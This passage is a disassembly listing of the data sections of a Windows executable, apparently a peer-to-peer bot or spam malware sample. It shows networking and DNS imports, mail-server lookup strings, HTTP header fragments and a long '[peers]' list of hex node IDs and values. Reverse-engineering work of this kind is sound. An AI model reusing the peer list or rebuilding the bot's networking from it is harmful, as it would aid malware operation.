		dd 4 dup(15151515h), 4 dup(16161616h), 4 dup(17171717h)
		dd 8 dup(18181818h), 8 dup(19191919h), 8 dup(1A1A1A1Ah)
		dd 7 dup(1B1B1B1Bh), 1C1B1B1Bh
dword_4200E0	dd 0			; DATA XREF: sub_412320+166r
		dd 1, 2, 3, 4, 5, 6, 7,	8, 0Ah,	0Ch, 0Eh, 10h, 14h, 18h
		dd 1Ch,	20h, 28h, 30h, 38h, 40h, 50h, 60h, 70h,	80h, 0A0h
		dd 0C0h, 0E0h, 2 dup(0)
dword_420158	dd 0			; DATA XREF: sub_412320+294r
		dd 1, 2, 3, 4, 6, 8, 0Ch, 10h, 18h, 20h, 30h, 40h, 60h
		dd 80h,	0C0h, 100h, 180h, 200h,	300h, 400h, 600h, 800h
		dd 0C00h, 1000h, 1800h,	2000h, 3000h, 4000h, 6000h
aIncompatibleVe	db 'incompatible version',0 ; DATA XREF: .rdata:00420270o
		align 4
aBufferError	db 'buffer error',0     ; DATA XREF: .rdata:off_42026Co
		align 4
aInsufficientMe	db 'insufficient memory',0 ; DATA XREF: .rdata:off_420268o
aDataError	db 'data error',0       ; DATA XREF: .rdata:00420264o
		align 4
aStreamError	db 'stream error',0     ; DATA XREF: .rdata:off_420260o
		align 4
aFileError	db 'file error',0       ; DATA XREF: .rdata:0042025Co
		align 4
aStreamEnd	db 'stream end',0       ; DATA XREF: .rdata:00420254o
		align 10h
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: .rdata:00420250o
		dd offset aNeedDictionary ; "need dictionary"
		dd offset aStreamEnd	; "stream end"
		dd offset dword_41BDD8
		dd offset aFileError	; "file	error"
off_420260	dd offset aStreamError	; DATA XREF: sub_40E674:loc_40EDD3r
					; "stream error"
		dd offset aDataError	; "data	error"
off_420268	dd offset aInsufficientMe ; DATA XREF: sub_40FA8A+1B4r
					; "insufficient	memory"
off_42026C	dd offset aBufferError	; DATA XREF: sub_40E674:loc_40E6CEr
					; "buffer error"
		dd offset aIncompatibleVe ; "incompatible version"
		dd offset dword_41BDD8
aGifver		db 'GIFVER',0           ; DATA XREF: sub_413720+99o
		align 10h
aNs		db 'ns',0               ; DATA XREF: sub_4155DF+60o
					; sub_41570A+D5o ...
		align 4
aNsD_S		db 'ns%d.%s',0          ; DATA XREF: sub_41570A+59Ao
aNs_S		db 'ns.%s',0            ; DATA XREF: sub_41570A+583o
		align 4
aNsD		db 'ns%d',0             ; DATA XREF: sub_41570A+495o
		align 4
aS_S		db '%s.%s',0            ; DATA XREF: sub_41570A+3CCo
		align 4
aMail		db 'mail',0             ; DATA XREF: sub_41570A+E1o
					; sub_41570A+1D3o
		align 4
off_4202AC	dd offset sub_415006	; DATA XREF: sub_416130+4o
					; sub_41634A+15o
byte_4202B0	db 0Dh			; DATA XREF: sub_416B72+Ao
					; sub_416BFA+22r
		db 0Ah,	43h, 6Fh
		dd 6E65746Eh
dword_4202B8	dd 78452D74h, 65726970h, 3831203Ah ; DATA XREF:	sub_416A84+BBo
a00		db '00',0Dh,0Ah         ; DATA XREF: sub_416A84:loc_416B2Do
		db 0Dh,0Ah,0
		align 4
dword_4202CC	dd 6D2F0000h		; DATA XREF: sub_416A84+61o
aYad_gif	db 'yad.gif',0          ; DATA XREF: sub_416A84+Co
dword_4202D8	dd 672E0000h, 6669h	; DATA XREF: sub_416B72+38o
dword_4202E0	dd 2F0000h, 6F480000h, 3A7473h,	490A0000h ; DATA XREF: sub_416BFA+3Bo
dword_4202F0	dd 203A50h, 6F430000h, 6E65746Eh, 654C2D74h, 6874676Eh
					; DATA XREF: sub_416D61+Co
		dd 6F43003Ah, 6E65746Eh, 78452D74h, 65726970h, 48003Ah
		dd 0Eh dup(0)
		dd 1CD40000h, 3500042h
dword_420358	dd 20042h, 2 dup(0)	; DATA XREF: .text:00403150o
		dd 73C00000h
dword_420368	dd 74E40001h, 0FFFF0001h, 317AFFFFh, 31AC0040h,	40h, 0FFFF0000h
					; DATA XREF: sub_4031BC+2o
		dd 31F7FFFFh, 31FB0040h, 5840040h, 2, 0
		dd 60E0000h, 81840002h,	5600001h, 2, 0
		dd 6C40000h, 81600002h,	4240001h, 2, 0
		dd 7040000h, 80240002h,	4340001h, 2, 0
		dd 0C180000h, 80340002h, 54C0001h, 2, 0
		dd 0C620000h, 814C0002h, 4000001h, 2, 0
		dd 0D100000h, 80000002h, 1, 4 dup(0)
		db    0
		align 2
		dw 0CFCh
		db    2
		align 2
		dw 0CEAh
		db    2
		align 2
		dw 0CDAh
		db    2
		align 2
		dw 0CCAh
		db    2
		align 2
		dw 0CBCh
		db    2
		align 2
		dw 0CAAh
		db    2
		align 2
		dw 0C8Ah
		db    2
		align 2
		dw 0C6Eh
		db    2
		align 4
		db    0
		align 2
		dw 6F2h
		db    2
		align 2
		dw 6E4h
		db    2
		align 2
		dw 6D0h
		db    2
		align 4
		db    0
		align 2
		dw 0BE4h
		db    2
		align 2
		dw 0BCAh
		db    2
		align 2
		dw 0BB2h
		db    2
		align 2
		dw 0B98h
		db    2
		align 2
		dw 0B8Ch
		db    2
		align 2
		dw 0B7Eh
		db    2
		align 2
		dw 0BF0h
		db    2
		align 2
		dw 0B60h
		db    2
		align 2
		dw 0B52h
		db    2
		align 2
		dw 0B42h
		db    2
		align 2
		dw 0B2Ah
		db    2
		align 2
		dw 0B16h
		db    2
		align 2
		dw 0B02h
		db    2
		align 2
		dw 0AE4h
		db    2
		align 2
		dw 0AC8h
		db    2
		align 2
		dw 0AAAh
		db    2
		align 2
		dw 0A8Eh
		db    2
		align 2
		dw 0A74h
		db    2
		align 2
		dw 0A64h
		db    2
		align 2
		dw 0A58h
		db    2
		align 2
		dw 0A46h
		db    2
		align 2
		dw 0A3Ah
		db    2
		align 2
		dw 0A2Ah
		db    2
		align 2
		dw 0A1Eh
		db    2
		align 2
		dw 0BFCh
		db    2
		align 2
		dw 0C08h
		db    2
		align 2
		dw 0B6Ch
		db    2
		align 2
		dw 710h
		db    2
		align 2
		dw 720h
		db    2
		align 2
		dw 72Eh
		db    2
		align 2
		dw 73Ah
		db    2
		align 2
		dw 748h
		db    2
		align 2
		dw 760h
		db    2
		align 2
		dw 76Ch
		db    2
		align 2
		dw 782h
		db    2
		align 2
		dw 792h
		db    2
		align 2
		dw 7A2h
		db    2
		align 2
		dw 7B6h
		db    2
		align 2
		dw 7BEh
		db    2
		align 2
		dw 7CEh
		db    2
		align 2
		dw 7ECh
		db    2
		align 2
		dw 808h
		db    2
		align 2
		dw 820h
		db    2
		align 2
		dw 838h
		db    2
		align 2
		dw 850h
		db    2
		align 2
		dw 868h
		db    2
		align 2
		dw 880h
		db    2
		align 2
		dw 896h
		db    2
		align 2
		dw 8B0h
		db    2
		align 2
		dw 8BCh
		db    2
		align 2
		dw 8D4h
		db    2
		align 2
		dw 8E0h
		db    2
		align 2
		dw 8EEh
		db    2
		align 2
		dw 904h
		db    2
		align 2
		dw 918h
		db    2
		align 2
		dw 926h
		db    2
		align 2
		dw 934h
		db    2
		align 2
		dw 944h
		db    2
		align 2
		dw 954h
		db    2
		align 2
		dw 960h
		db    2
		align 2
		dw 974h
		db    2
		align 2
		dw 986h
		db    2
		align 2
		dw 9A0h
		db    2
		align 2
		dw 9B8h
		db    2
		align 2
		dw 9C8h
		db    2
		align 2
		dw 9D8h
		db    2
		align 2
		dw 9EAh
		db    2
		align 2
		dw 9FAh
		db    2
		align 2
		dw 0A10h
		db    2
		align 10h
		db    0
		align 2
		dw 0C34h
		db    2
		align 2
		dw 0C46h
		db    2
		align 2
		dw 0C54h
		db    2
		align 2
		dw 0C26h
		db    2
		align 4
		db    0
		align 2
		dw 658h
		db    2
		align 2
		dw 61Ah
		db    2
		align 2
		dw 66Ch
		db    2
		align 2
		dw 67Ch
		db    2
		align 2
		dw 690h
		db    2
		align 2
		dw 6AEh
		db    2
		align 2
		dw 62Eh
		db    2
		align 2
		dw 642h
		db    2
		align 4
		db    0
		align 2
		dw 11h
		db    0
		db 80h,	13h, 0
		db    0
		db 80h,	4, 0
		db    0
		db 80h,	1, 0
		db    0
		db 80h,	97h, 0
		db    0
		db 80h,	6Fh, 0
		db    0
		db 80h,	2, 0
		db    0
		db 80h,	10h, 0
		db    0
		db 80h,	12h, 0
		db    0
		db 80h,	0Fh, 0
		db    0
		db 80h,	0Ch, 0
		db    0
		db 80h,	0Eh, 0
		db    0
		db 80h,	73h, 0
		db    0
		db 80h,	6, 0
		db    0
		db 80h,	5, 0
		db    0
		db 80h,	16h, 0
		db    0
		db 80h,	34h, 0
		db    0
		db 80h,	0Dh, 0
		db    0
		db 80h,	0Bh, 0
		db    0
		db 80h,	17h, 0
		db    0
		db 80h,	15h, 0
		db    0
		db 80h,	14h, 0
		db    0
		db 80h,	0, 6
		db    2
		align 2
		dw 5F4h
		db    2
		align 2
		dw 3
		db    0
		db 80h,	9, 0
		db    0
		db 80h,	8, 0
		db    0
		db 80h,	2 dup(0)
		db    0
		align 2
		dw 28h
aWsaioctl	db 'WSAIoctl',0
		align 2
aA_0		db 'A',0
aWsasocketa	db 'WSASocketA',0
		align 4
aWs2_32_dll	db 'WS2_32.dll',0
		align 10h
aY		db 'Y',0
aHttpsendreques	db 'HttpSendRequestA',0
		align 4
aU		db 'U',0
aHttpopenreques	db 'HttpOpenRequestA',0
		align 4
aI_0		db 'i',0
aInternetcloseh	db 'InternetCloseHandle',0
aO		db 'o',0
aInternetconnec	db 'InternetConnectA',0
		align 2
aT_0		db '',0
aInternetopena	db 'InternetOpenA',0
		db '',0
aInternetreadfi	db 'InternetReadFile',0
		align 2
aC		db '',0
aInternetqueryd	db 'InternetQueryDataAvailable',0
		align 4
aZ		db '',0
aInternetsetopt	db 'InternetSetOptionA',0
		align 2
aWininet_dll	db 'WININET.dll',0
aN		db 'N',0
aDnsrecordlistf	db 'DnsRecordListFree',0
aG		db 'G',0
aDnsquery_a	db 'DnsQuery_A',0
		align 4
aA_1		db 'A',0
aDnsqueryconfig	db 'DnsQueryConfig',0
		align 2
aDnsapi_dll	db 'DNSAPI.dll',0
		align 2
aO_0		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 2
a4		db '4',0
aClosehandle	db 'CloseHandle',0
		dd 65530316h, 65764574h, 746Eh,	655202CFh, 45746573h, 746E6576h
		dd 3910000h
aWaitforsingleo	db 'WaitForSingleObjectEx',0
		dw 3C6h
aLstrcpya	db 'lstrcpyA',0
		align 2
		dw 390h
aWaitforsingl_0	db 'WaitForSingleObject',0
aO_1		db 'o',0
aCreatethread	db 'CreateThread',0
		align 4
		db 0D2h	; 
		db 2, 52h, 65h
aSumethread	db 'sumeThread',0
		align 4
		db  44h	; D
		db 3, 53h, 65h
aTthreadpriorit	db 'tThreadPriority',0
		db  56h	; V
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0DFh	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  26h	; &
		db 2, 49h, 6Eh
aTerlockedcompa	db 'terlockedCompareExchange',0
		align 2
		dw 223h
aInitializecrit	db 'InitializeCriticalSection',0
aB_0		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
aS		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 251h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
		dw 22Ch
aInterlockedinc	db 'InterlockedIncrement',0
		align 2
		dw 228h
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
		dw 229h
aInterlockedexc	db 'InterlockedExchange',0
		db  2Ah	; *
		db 2, 49h, 6Eh
aTerlockedexcha	db 'terlockedExchangeAdd',0
		align 2
		dw 3C9h
aLstrcpyna	db 'lstrcpynA',0
		dw 140h
aGetcurrentdire	db 'GetCurrentDirectoryA',0
		align 2
		dw 3A4h
aWritefile	db 'WriteFile',0
aS_0		db 'S',0
aCreatefilea	db 'CreateFileA',0
		db  5Eh	; ^
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 169h
aGetfullpathnam	db 'GetFullPathNameA',0
		align 2
		dw 27Eh
aOpeneventw	db 'OpenEventW',0
		align 4
		db  7Dh	; }
		db 2, 4Fh, 70h
aEneventa	db 'enEventA',0
		align 2
		dw 171h
aGetlasterror	db 'GetLastError',0
		align 2
		dw 1E9h
aGetversionexa	db 'GetVersionExA',0
		dw 3CCh
aLstrlena	db 'lstrlenA',0
		align 2
		dw 114h
aGetcomputernam	db 'GetComputerNameA',0
		align 2
aF		db 'f',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
		db  8Eh	; 
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 35Bh
aSystemtimetofi	db 'SystemTimeToFileTime',0
		align 2
		dw 173h
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 1C8h
aGetsystemtime	db 'GetSystemTime',0
		dw 371h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  68h	; h
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aT_1		db 'T',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 163h
aGetfilesize	db 'GetFileSize',0
		db '',0
aFindclose	db 'FindClose',0
		db '',0
aFindnextfilea	db 'FindNextFileA',0
		dd 736C03C0h, 6D637274h, 4170h,	694600D2h, 6946646Eh, 46747372h
		dd 41656C69h, 3BD0000h,	7274736Ch, 41746163h, 1530000h
		dd 44746547h, 65766972h, 65707954h, 1760041h
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0
		db  98h	; 
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileSectionA',0
		db 0A7h	; 
		db 3, 57h, 72h
aIteprivateprof	db 'itePrivateProfileSectionA',0
		dw 19Ch
aGetprivateprof	db 'GetPrivateProfileStringA',0
		align 2
		dw 3A9h
aWriteprivatepr	db 'WritePrivateProfileStringA',0
		align 4
		db 0C3h	; 
		db 2, 52h, 65h
aLeasesemaphore	db 'leaseSemaphore',0
		align 4
aK		db 'k',0
aCreatesemaphor	db 'CreateSemaphoreA',0
		align 10h
		db  96h	; 
		db 1, 47h, 65h
aTprivateprof_0	db 'tPrivateProfileIntA',0
		dd 69560381h, 61757472h, 6C6C416Ch, 636Fh, 69560383h, 61757472h
		dd 6572466Ch, 2100065h,	70616548h, 6F6C6C41h, 1A30063h
		dd 50746547h, 65636F72h, 65487373h, 7061h, 6548021Ah, 65527061h
		dd 6F6C6C41h, 2160063h,	70616548h, 65657246h, 1CA0000h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		db '',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 10h
		db 0E2h	; 
		db 1, 47h, 65h
aTtimezoneinfor	db 'tTimeZoneInformation',0
		align 2
		dw 3C3h
aLstrcmpia	db 'lstrcmpiA',0
		dw 25Ch
aLocalfree	db 'LocalFree',0
		dw 2D7h
aRtlunwind	db 'RtlUnwind',0
		dw 388h
aVirtualquery	db 'VirtualQuery',0
		align 2
aKernel32_dll	db 'KERNEL32.dll',0
		align 4
		db 0D9h	; 
		db 2, 77h, 76h
aSprintfa	db 'sprintfA',0
		align 2
		db 27h,0
aCharlowerbuffa	db 'CharLowerBuffA',0
		align 4
		db '&',0
aCharlowera	db 'CharLowerA',0
		align 2
a4_0		db '4',0
aCharuppera	db 'CharUpperA',0
		align 4
aUser32_dll	db 'USER32.dll',0
		align 4
		db  3Ah	; :
		db 2, 53h, 65h
aTsecuritydescr	db 'tSecurityDescriptorDacl',0
		db  34h	; 4
		db 1, 49h, 6Eh
aItializesecuri	db 'itializeSecurityDescriptor',0
		align 10h
		dd 65520204h, 74655367h, 756C6156h, 41784565h, 1CB0000h
		dd 43676552h, 65736F6Ch, 79654Bh, 655201DEh, 756E4567h
		dd 79654B6Dh, 417845h, 655201ECh, 65704F67h, 79654B6Eh
		dd 417845h, 655201D1h, 65724367h, 4B657461h, 78457965h
		dd 1F70041h, 51676552h,	79726575h, 756C6156h, 41784565h
		dd 44410000h, 49504156h, 642E3233h, 6C6Ch, 33h dup(0)
_rdata		ends

; Section 3. (virtual address 00021000)
; Virtual size			: 00000D9C (   3484.)
; Section size in file		: 00000E00 (   3584.)
; Offset to raw	data for section: 0001FA00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 421000h
		dd 2 dup(0)
dword_421008	dd 2 dup(0)		; DATA XREF: sub_401621+50o
		db 2 dup(0)
word_421012	dw 0			; DATA XREF: sub_401621+46w
					; sub_401621+77w
dword_421014	dd 81F80000h		; DATA XREF: sub_401621+34w
dword_421018	dd 81F80041h		; DATA XREF: sub_401621+26w
word_42101C	dw 41h			; DATA XREF: sub_401621+3Ew
word_42101E	dw 45h			; DATA XREF: sub_401621+58w
		dd 0B2ED3000h, 6DE0040h
		db 0C7h
byte_421029	db 0B9h			; DATA XREF: sub_401621+5Ew
		dw 0A8C0h
word_42102C	dw 333h			; DATA XREF: sub_401621+6Aw
					; sub_401621+84w
		dw 0A8C0h
		dd 0C50F0733h, 0C8BF5100h
dword_421038	dd 8683h, 2700000h	; DATA XREF: sub_4016C3+2Ao
		db 0FCh, 0
word_421042	dw 5E4Ch		; DATA XREF: sub_4016C3+19w
					; sub_4016C3+5Dw
dword_421044	dd 4020000h		; DATA XREF: sub_4016C3+24w
dword_421048	dd 101B405h		; DATA XREF: sub_4016C3+3Bw
byte_42104C	db 4			; DATA XREF: sub_4016C3+40w
					; sub_4016C3+56o
		db 2
word_42104E	dw 45h			; DATA XREF: sub_4016C3+4Cw
					; sub_4016C3+6Aw
		dd 0D3DA3C00h, 1DE0000h, 0A8C0921Ah, 0A8C00333h, 80733h
		dd 25C46h, 62610005h, 66656463h
dword_421070	dd 6A696867h		; DATA XREF: sub_403078+9r
					; sub_403078+1Fr ...
dword_421074	dd 6E6D6C6Bh		; DATA XREF: sub_4030E3+9r
					; sub_4030E3+1Fr ...
dword_421078	dd 7271706Fh		; DATA XREF: sub_402FCB:loc_403019r
		dd 81F80000h, 81F80041h, 82A80041h, 82A00041h, 82700041h
		dd 41h,	81F80000h, 41h,	0BB9C0000h, 0BB940041h,	0BB8C0041h
		dd 0BB840041h, 0BB7C0041h, 0BB740041h, 0BB6C0041h, 0BB640041h
		dd 0BB5C0041h, 0BB540041h, 0BB4C0041h, 0BB440041h, 0BB3C0041h
		dd 0BB340041h, 0BB2C0041h, 0BB240041h, 0BB1C0041h, 0BB180041h
		dd 0BB100041h, 0BB080041h, 0BB000041h, 0BAF80041h, 0BAF00041h
		dd 0BAE80041h, 0BAE00041h, 0BAD80041h, 0BAD00041h, 0BAC80041h
		dd 0BAC00041h, 0BAB80041h, 0BAB00041h, 41h, 0BAA40000h
		dd 0BA9C0041h, 0BA940041h, 0BA8C0041h, 0BA840041h, 0BA7C0041h
		dd 0BA740041h, 0BA680041h, 0BA600041h, 0BA540041h, 0BA4C0041h
		dd 0BA440041h, 0BA3C0041h, 0BA340041h, 0BA2C0041h, 0BA240041h
		dd 0BA180041h, 0BA100041h, 0BA080041h, 0BA000041h, 0B9FC0041h
		dd 0B9F40041h, 0B9E80041h, 0B9DC0041h, 0B9D40041h, 0B9CC0041h
		dd 0B9C40041h, 0B9BC0041h, 0B9B00041h, 0B9A80041h, 0B9A00041h
		dd 0B9980041h, 0B9900041h, 0B9880041h, 0B9800041h, 0B9780041h
		dd 0B9700041h, 0B96C0041h, 0B9640041h, 0B95C0041h, 0B9540041h
		dd 0B94C0041h, 0B9400041h, 41h,	450000h, 0B2ED3000h, 6DE0040h
		dd 0A8C0B9C7h, 0A8C00333h, 0C50F0733h, 0C8BF5100h, 8683h
		dd 2700000h, 5E4C00FCh,	4020000h, 101B405h, 450204h, 0D3DA3C00h
		dd 1DE0000h, 0A8C0921Ah, 0A8C00333h, 80733h, 25C46h
dword_421218	dd 62610005h		; DATA XREF: sub_40320F+70r
aCdefghijklmnop	db 'cdefghijklmnopqr',0
		align 2
		dd offset aConfig_0	; "[config]"
		dd offset aLocal_0	; "[local]"
		dd offset aPeers_0	; "[peers]"
		dd offset a00000000000000 ; "00000000000000009C2DB8A6F34A9C69=452FC5"...
		dd offset a00010ced75c2e4 ; "00010CED75C2E4C6222534E6BD5BB4A1=D5868A"...
		dd offset a0001351de60d58 ; "0001351DE60D58519C2DB8A6F34A9C69=452FC5"...
		dd offset a00037a3051fe23 ; "00037A3051FE23B6BE8B8C79BE6DD56A=41FF4E"...
		dd offset a003964d3640550 ; "003964D3640550573F800125725481EF=532685"...
		dd offset a00401b0f192e0c ; "00401B0F192E0CE7BA48E2E720F85CD4=BE4D93"...
		dd offset a0040a30e13c238 ; "0040A30E13C23842275F69AE7EFD59BA=C12290"...
		dd offset a0042856b2ace49 ; "0042856B2ACE498B28D976190EA4F30C=443520"...
		dd offset a004982069e5db7 ; "004982069E5DB75721B54CFF33A26170=5955FC"...
		dd offset a008052d5853a3b ; "008052D5853A3B3D2A9B84190975BAFD=538551"...
		dd offset a0080b864b2be6f ; "0080B864B2BE6FD9D7F5EDE294E4D428=445286"...
		dd offset a008e235027f1c8 ; "008E235027F1C8CF485E95784935E045=458E6D"...
		dd offset a00a1836ae91d07 ; "00A1836AE91D076BC265F9735204714F=451AAE"...
		dd offset a01000000000000 ; "0100000000000000000000008D0DFD11=44E14B"...
		dd offset a01011766d802a3 ; "01011766D802A3FD2F19630EA897B5D4=458E6D"...
		dd offset a0152101d974365 ; "0152101D974365C7B3B30D653AA78BE2=D429F7"...
		dd offset a01ea8f6782b0bf ; "01EA8F6782B0BF0A924E507C87446D5B=D99323"...
		dd offset a0202414d9a28e6 ; "0202414D9A28E6AE0087CCD88F81BF3B=52E02F"...
		dd offset a0204635ea60fac ; "0204635EA60FAC36D4E434AB91FE3162=D5608B"...
		dd offset a0222629571f2b9 ; "0222629571F2B9B99485CA73B3962682=D9D18B"...
		dd offset a02414d9a28e6ae ; "02414D9A28E6AE0087CCD8FFF0F2D14C=442DB4"...
		dd offset a028c8a0f2ad992 ; "028C8A0F2AD992450B0F6EF397496947=C82055"...
		dd offset a029b2bd77d16da ; "029B2BD77D16DA39CF62FCF30ED38487=570BCF"...
		dd offset a0370dc8b37b3b6 ; "0370DC8B37B3B63A34256656A0E26CD0=9A2542"...
		dd offset a0380eef83fefb7 ; "0380EEF83FEFB7059EF969C51A90C29E=9A2542"...
		dd offset a0380eef88e0389 ; "0380EEF88E038931BA0C0057ECD0ED2C=9A2542"...
		dd offset a0380eef8a06de9 ; "0380EEF8A06DE9BD986E69F02698B4F3=9A2542"...
		dd offset a0380eef8d3389d ; "0380EEF8D3389DA037FDB7564778866E=9A2542"...
		dd offset a0380eef8ee41b2 ; "0380EEF8EE41B20E1EF02A6139A72B28=9A2542"...
		dd offset a03cee71f18bcd8 ; "03CEE71F18BCD85C77A54CB0AABA436C=524A9D"...
		dd offset a03dc878b249549 ; "03DC878B2495491DD2E68616FC8A00A7=58BF0D"...
		dd offset a061f8a5c4bd902 ; "061F8A5C4BD90280C79A5DD4E05750B8=9A2542"...
		dd offset a075d262953fccf ; "075D262953FCCF0B51997B802F160B55=430F04"...
		dd offset a078b04bd90cedf ; "078B04BD90CEDF7DA6CF53FBD871055D=51DC87"...
		dd offset a080468c1a1daa2 ; "080468C1A1DAA213849A643FEB00A583=4B55E8"...
		dd offset a089b7828c7c3fc ; "089B7828C7C3FC04CD29750061892863=473DCE"...
		dd offset a0932d34324a42f ; "0932D34324A42F6E509869D2F6089845=525D96"...
		dd offset a09bd17989c6e0d ; "09BD17989C6E0DE17EC838EA01A89A03=5588A5"...
		dd offset a0b953450aafbcb ; "0B953450AAFBCBEA6EA012533F4F1BA8=43A209"...
		dd offset a110498912f3724 ; "110498912F37243D856456BFF8619D72=9A2542"...
		dd offset a11f3c749d64ec6 ; "11F3C749D64EC67030EA415C9C5917A9=451ABF"...
		dd offset a1382c0d7cf1eba ; "1382C0D7CF1EBABFD129A12A6EF79097=540AFF"...
		dd offset a1516633972c739 ; "1516633972C73945E9D9E2EB4FDA8744=55DBD9"...
		dd offset a172eb82c66818f ; "172EB82C66818FF5005857F8269BB3B5=9A2542"...
		dd offset a1949fc107ea399 ; "1949FC107EA39979BDB62D913D1E7A5E=57004F"...
		dd offset a1ae389c8ec8e6b ; "1AE389C8EC8E6BB98F787298563D170B=CB3BD1"...
		dd offset a1d9512fae97f20 ; "1D9512FAE97F2025D75F072A75CBA346=544AE2"...
		dd offset a1e07d016d1afd9 ; "1E07D016D1AFD93CDE4CF35D71ED411D=D33613"...
		dd offset a1e632838497c0f ; "1E632838497C0F49F8A5280DC92DF8C5=A04B0E"...
		dd offset a1ea59b4226a1a5 ; "1EA59B4226A1A56B17CB764BBB4DE17D=5452B5"...
		dd offset a1f87e8ab801503 ; "1F87E8AB801503809BE687700B9273E3=58BF15"...
		dd offset a1fab1367b3253f ; "1FAB1367B3253F4D017EA9F0B7BD0BAD=473E7B"...
		dd offset a20c4a0a8eb8249 ; "20C4A0A8EB82493DBAAD4321D8325255=54BA71"...
		dd offset a21d59ad8e70e8e ; "21D59AD8E70E8E60659638E29EEF5C25=54306A"...
		dd offset a26998f316d4547 ; "26998F316D45470FFB5CFC42B18CB483=5153E8"...
		dd offset a26e5e80d3f336a ; "26E5E80D3F336A7D50276357AB91ECA5=3A79BF"...
		dd offset a2740602e804654 ; "2740602E8046545FCC20E0BA0BCE4EE2=554225"...
		dd offset a278c11d92d1cbb ; "278C11D92D1CBB0B45089EABC98F0E8D=D3B2A9"...
		dd offset a27a181a8d1a7a2 ; "27A181A8D1A7A2EC4AAD7BE22FED30A3=5328CD"...
		dd offset a2a324a1de8043a ; "2A324A1DE8043A06E4907734DC830E33=549D72"...
		dd offset a2acd8e1be48a72 ; "2ACD8E1BE48A725782AC77571D068605=52EB29"...
		dd offset a2b1d4e40c6caa0 ; "2B1D4E40C6CAA0738D663472D934D113=48E089"...
		dd offset a2b7cb08dbb51e0 ; "2B7CB08DBB51E02C8D08719925E71FF3=5242EE"...
		dd offset a2bf18d609eb338 ; "2BF18D609EB338C9697C9E99379FD16A=558957"...
		dd offset a2c3cc679f15270 ; "2C3CC679F15270408216FB5B41ED83DF=CFE270"...
		dd offset a2c70e6209a61a4 ; "2C70E6209A61A405953CF5AF02F7F941=451AAE"...
		dd offset a2c958a0d8e5f9f ; "2C958A0D8E5F9FB90C9DFD9AB8EA61C9=C39E75"...
		dd offset a2dd4a650a59ef7 ; "2DD4A650A59EF789ADA6BFDB010BAA08=3E75B8"...
		dd offset a2dfe9e9769fe0e ; "2DFE9E9769FE0E4E7B278CB6621EE8AE=58BF0B"...
		dd offset a2ee1e5b03d7907 ; "2EE1E5B03D7907C8B60B9F5C23842FF7=547BD8"...
		dd offset a2f56fbd56cf103 ; "2F56FBD56CF10379C59D8DDEF31504B5=C30513"...
		dd offset a2f931dca989f64 ; "2F931DCA989F64FA3387C0E7B08C8560=514490"...
		dd offset a309992fceb0d89 ; "309992FCEB0D895E2F3E3DAA55F2ED73=D26B86"...
		dd offset a30f5b8c6ff81ec ; "30F5B8C6FF81EC842534A234E0E5271A=9A2542"...
		dd offset a3258227eef02ca ; "3258227EEF02CADB160A71E53E056E67=DC5698"...
		dd offset a333743c57c12cf ; "333743C57C12CF0A339C65F3BA808F30=5125D6"...
		dd offset a34330744ce204a ; "34330744CE204A98BBD9DBEEDE484E9B=599122"...
		dd offset a3463f37e18d293 ; "3463F37E18D2937782A521F1E7432786=9A2542"...
		dd offset a350eed1e99d7a1 ; "350EED1E99D7A1517314504218F5D2C4=5410E1"...
		dd offset a355196e8c03c69 ; "355196E8C03C69EF694A6CA93633FF43=7C6FF1"...
		dd offset a35a3f4fa5532dc ; "35A3F4FA5532DCF085EC5B8A51DE230C=D9FFEE"...
		dd offset a35b4228aeaf57e ; "35B4228AEAF57E552C8129AC6173DE2D=3E7064"...
		dd offset a36046d68c6ee1a ; "36046D68C6EE1A574F8CD9995269D142=453F3C"...
		dd offset a3671f8f0d1825e ; "3671F8F0D1825E30F992D802052B1B57=5428DD"...
		dd offset a36f5a502111d41 ; "36F5A502111D412EC88799A626617225=D9D8BE"...
		dd offset a3abd9bbe51130f ; "3ABD9BBE51130F44538F529170743384=547BA6"...
		dd offset a3b9aba5197da40 ; "3B9ABA5197DA4030E857B6448D051337=D97F51"...
		dd offset a3c6e0a0e2c3ff2 ; "3C6E0A0E2C3FF28576949CD2F52BDA48=54897A"...
		dd offset a3c74596628f2cc ; "3C74596628F2CC47B01F43304991705C=9A2542"...
		dd offset a3cf4e05209af8a ; "3CF4E05209AF8A0422187805010D1CCB=50B2DC"...
		dd offset a3ddfa96d279a4f ; "3DDFA96D279A4F33EB4989EBD4A2890D=D9E56B"...
		dd offset a3e2372fab58157 ; "3E2372FAB58157944FB3FC34FF36FBE3=3ECC78"...
		dd offset a3e25afc61075ac ; "3E25AFC61075AC4181B860F53E39F52B=51CA87"...
		dd offset a4075531a59407a ; "4075531A59407A4E08082FB9D74A6013=DA2554"...
		dd offset a408fdddba198cb ; "408FDDDBA198CBD47B591DF87A74407C=59DC00"...
		dd offset a41ba477df4ccd1 ; "41BA477DF4CCD15367A0A043B36ACA91=52EE1A"...
		dd offset a429cfc080d6f2a ; "429CFC080D6F2AC7340D5578CA9139B8=531DD9"...
		dd offset a4486277e649fb7 ; "4486277E649FB75D31AEFD34C95139FE=A13577"...
		dd offset a47094a67556b63 ; "47094A67556B63901B15580A2FC4C5B8=5240A9"...
		dd offset a47fb594325896f ; "47FB594325896FF85E1A4DF1FED6863E=52E76B"...
		dd offset a490396794d0e01 ; "490396794D0E01B566DA158FCEBFCE2C=D882BC"...
